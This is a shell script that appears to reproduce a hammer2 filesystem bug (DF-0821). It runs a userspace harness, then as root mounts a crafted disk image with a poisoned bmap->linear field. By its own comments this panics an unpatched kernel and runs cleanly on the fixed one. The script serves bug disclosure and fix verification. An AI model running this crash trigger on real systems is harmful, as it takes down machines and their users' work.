#!/bin/sh
# DF-0821 run script.
# Two phases:
#   (A) Build + run the deterministic harness (userspace; shows the guard
#       logic and OOB extent without needing a kernel mount).  Runs as any
#       user.
#   (B) Recreate the crafted hammer2 image and trigger the bug on the LIVE
#       kernel (root required for vnconfig + mount_hammer2).  On the default
#       GENERIC kernel (INVARIANTS ON) this PANICS the guest at
#       hammer2_freemap.c:633.  On the single-fix kernel it succeeds cleanly.
#
# Usage:
#   ./run.sh harness          # phase A only (safe, no panic)
#   ./run.sh live             # phase B only (PANICS the guest on unpatched #0)
#   ./run.sh                  # both phases
set -e
cd "$(dirname "$0")"
PY=${PY:-python3}

run_harness() {
    echo "=== DF-0821 Phase A: deterministic harness ==="
    cc -O2 -Wall -o harness harness.c
    ./harness
}

run_live() {
    echo "=== DF-0821 Phase B: live kernel trigger (root) ==="
    if [ "$(id -u)" -ne 0 ]; then
        echo "ERROR: phase B requires root (vnconfig + mount_hammer2). Re-run as root." >&2
        exit 1
    fi
    # Step 1: prepare a clean populated hammer2 image (freemap leaves must
    # exist on disk so we can patch a bmap->linear field).
    WORK=/tmp/df0821_work
    mkdir -p $WORK
    if [ ! -f $WORK/clean.img ]; then
        echo "[+] Creating clean 64MB hammer2 image (first run only)..."
        truncate -s 64M $WORK/clean.img
        newfs_hammer2 -L testvol $WORK/clean.img >/dev/null 2>&1
        vnconfig -c vn1 $WORK/clean.img
        mkdir -p /mnt/h2821
        mount -t hammer2 /dev/vn1@testvol /mnt/h2821
        # write sub-16K files to populate freemap leaves with bmap entries
        for i in 1 2 3 4 5; do
            dd if=/dev/zero of=/mnt/h2821/file$i bs=1k count=10 2>/dev/null
        done
        sync; umount /mnt/h2821; vnconfig -u vn1
    fi
    # Step 2: craft the poisoned image
    echo "[+] Crafting poisoned image (bmap->linear = 0x80001000)..."
    $PY craft_img.py $WORK/clean.img $WORK/crafted.img 0x80001000
    # Step 3: mount + trigger (panics on unpatched GENERIC)
    echo "[+] Mounting crafted image and triggering freemap allocation..."
    echo "[+] On unpatched #0 (INVARIANTS ON): expect PANIC at hammer2_freemap.c:633"
    echo "[+] On fixed #1: expect clean success (file written, guest survives)"
    vnconfig -c vn1 $WORK/crafted.img
    mkdir -p /mnt/h2821
    mount -t hammer2 /dev/vn1@testvol /mnt/h2821
    echo trigger > /mnt/h2821/poison_file
    sync; umount /mnt/h2821; vnconfig -u vn1
    echo "[+] DONE - guest survived (fixed kernel)"
}

case "${1:-all}" in
    harness) run_harness ;;
    live)    run_live ;;
    all)     run_harness; echo; run_live ;;
    *) echo "usage: $0 [harness|live|all]" >&2; exit 2 ;;
esac
